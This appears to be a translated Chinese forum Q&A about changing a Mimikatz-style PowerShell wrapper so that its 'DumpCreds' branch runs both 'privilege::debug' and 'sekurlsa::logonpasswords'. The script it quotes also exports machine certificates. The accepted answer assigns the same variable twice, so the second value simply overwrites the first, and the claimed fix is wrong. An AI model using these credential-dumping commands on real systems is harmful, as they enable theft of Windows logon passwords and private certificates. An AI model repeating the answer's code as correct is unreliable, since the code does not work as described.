我希望修改以下powershell脚本,在if语句中执行两项操作:
if ($PsCmdlet.ParameterSetName -ieq "DumpCreds")
{
$ExeArgs = "privilege::debug"
}
elseif ($PsCmdlet.ParameterSetName -ieq "DumpCerts")
{
$ExeArgs = "crypto::cng crypto::capi `"crypto::certificates /export`" `"crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE`" exit"
}
else
{
$ExeArgs = $Command
}`
它读取的行 - $exeargs = "privilege::debug"
,我需要运行它,我还需要运行 - $ExeArgs = "sekurlsa::logonpasswords"
首先需要运行的权限,然后是logonpasswords运行权限。
如何在powershell脚本中的1 if语句中运行2个命令?
答案 0 :(得分:2)
if
语句对你在其中执行的命令没有限制,所以只需执行它......
if ($PsCmdlet.ParameterSetName -ieq "DumpCreds")
{
$ExeArgs = "privilege::debug"
$ExeArgs = "sekurlsa::logonpasswords"
}
elseif ($PsCmdlet.ParameterSetName -ieq "DumpCerts")
{
$ExeArgs = "crypto::cng crypto::capi `"crypto::certificates /export`" `"crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE`" exit"
}
else
{
$ExeArgs = $Command
}